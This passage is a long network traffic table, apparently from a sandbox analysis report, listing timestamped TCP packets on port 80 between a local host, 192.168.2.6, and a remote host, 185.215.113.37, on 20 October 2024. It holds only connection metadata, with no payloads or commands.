Oct 20, 2024 21:16:15.844552040 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.844568014 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.844568968 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.844583988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.844599962 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.844614983 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.844631910 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.844647884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.844646931 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.844646931 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.844665051 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.844679117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.844688892 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.844712019 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.844737053 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.845982075 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.845994949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.846004963 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.846019030 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.846051931 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.846086979 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.846152067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.846163988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.846174002 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.846184969 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.846204042 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.846215010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.846219063 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.846225977 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.846231937 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.846234083 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.846237898 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.846250057 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.846261024 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.846272945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.846272945 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.846282959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.846293926 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.846303940 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.846322060 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.846355915 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.847021103 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.847033978 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.847043991 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.847054958 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.847067118 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.847078085 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.847078085 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.847090006 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.847100973 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.847107887 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.847110987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.847122908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.847134113 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.847136021 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.847146034 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.847167015 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.847196102 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.847982883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.847995043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.848005056 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.848015070 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.848026991 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.848037958 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.848043919 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.848052979 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.848064899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.848077059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.848088026 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.848104000 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.848104000 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.848104000 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.848129034 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.848150015 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.848870039 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.848882914 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.848891973 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.848902941 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.848913908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.848925114 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.848937988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.848944902 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.848948002 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.848959923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.848970890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.848977089 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.848989010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.848999977 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.849011898 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.849011898 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.849035978 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.849062920 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.849766016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.849777937 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.849787951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.849798918 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.849809885 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.849831104 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.849849939 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.849894047 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.850083113 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.850095034 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.850111961 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.850135088 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.850157022 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.850238085 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.850250006 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.850260019 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.850270033 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.850281000 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.850291014 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.850301981 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.850313902 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.850323915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.850325108 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.850353956 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.850370884 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.851133108 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.851150036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.851166010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.851190090 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.851198912 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.851206064 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.851223946 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.851236105 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.851238966 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.851255894 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.851273060 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.851283073 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.851289034 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.851305008 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.851306915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.851324081 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.851341009 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.851347923 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.851397991 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.852058887 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.852072001 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.852077007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.852083921 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.852088928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.852098942 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.852111101 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.852123976 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.852135897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.852147102 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.852148056 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.852159023 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.852170944 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.852181911 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.852215052 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.852900028 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.852911949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.852921963 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.852933884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.852945089 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.852956057 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.852967024 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.852993011 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.853014946 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.988493919 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.993412018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.330081940 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.330102921 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.330127954 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.330156088 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.330157042 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.330168009 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.330194950 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.330385923 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.330418110 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.330451012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.330466032 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.330492973 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.330533981 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.330564976 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.330579042 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.330595970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.330600023 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.330615044 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.330670118 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.330879927 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.330892086 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.330903053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.330915928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.330929041 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.330941916 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.330981016 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.331161976 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.331173897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.331180096 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.331218958 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.331238031 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.331239939 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.331252098 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.331264019 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.331274986 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.331283092 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.331309080 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.331332922 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.331640005 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.331651926 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.331706047 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.331777096 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.331788063 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.331796885 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.331808090 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.331819057 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.331828117 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.331830978 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.331844091 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.331851006 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.331856966 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.331861973 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.331867933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.331868887 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.331871033 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.331875086 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.331932068 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.332647085 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.332659006 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.332668066 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.332680941 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.332695007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.332700968 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.332705975 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.332717896 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.332729101 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.332732916 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.332739115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.332751036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.332762003 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.332762003 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.332773924 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.332784891 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.332794905 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.332797050 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.332808971 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.332822084 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.332822084 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.332848072 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.332875967 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.333596945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.333610058 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.333620071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.333635092 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.333647013 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.333648920 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.333658934 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.333672047 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.333683968 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.333693981 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.333699942 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.333704948 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.333709955 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.333714962 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.333724976 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.333725929 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.333734989 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.333758116 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.333791971 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.334573984 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.334592104 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.334602118 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.334614038 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.334626913 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.334630966 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.334638119 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.334649086 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.334661961 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.334665060 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.334676981 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.334688902 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.334698915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.334709883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.334717035 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.334722042 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.334733009 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.334743977 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.334748983 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.334753990 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.334764004 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.334774017 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.334805965 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.335495949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.335510015 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.335520029 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.335535049 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.335542917 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.335547924 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.335551023 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.335552931 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.335561037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.335571051 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.335577011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.335582018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.335592985 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.335603952 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.335617065 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.335640907 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.335664034 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.336194992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.336199999 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.336203098 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.336210012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.336221933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.336240053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.336253881 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.336275101 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.336313963 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.336631060 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.336643934 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.336653948 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.336664915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.336678028 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.336694002 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.336697102 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.336708069 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.336718082 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.336735964 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.336751938 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.336755991 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.336761951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.336772919 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.336776972 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.336786032 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.336801052 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.336826086 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.337503910 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.337516069 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.337531090 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.337543011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.337553024 CEST	80	49711	185.215.113.37	192.168.2.6
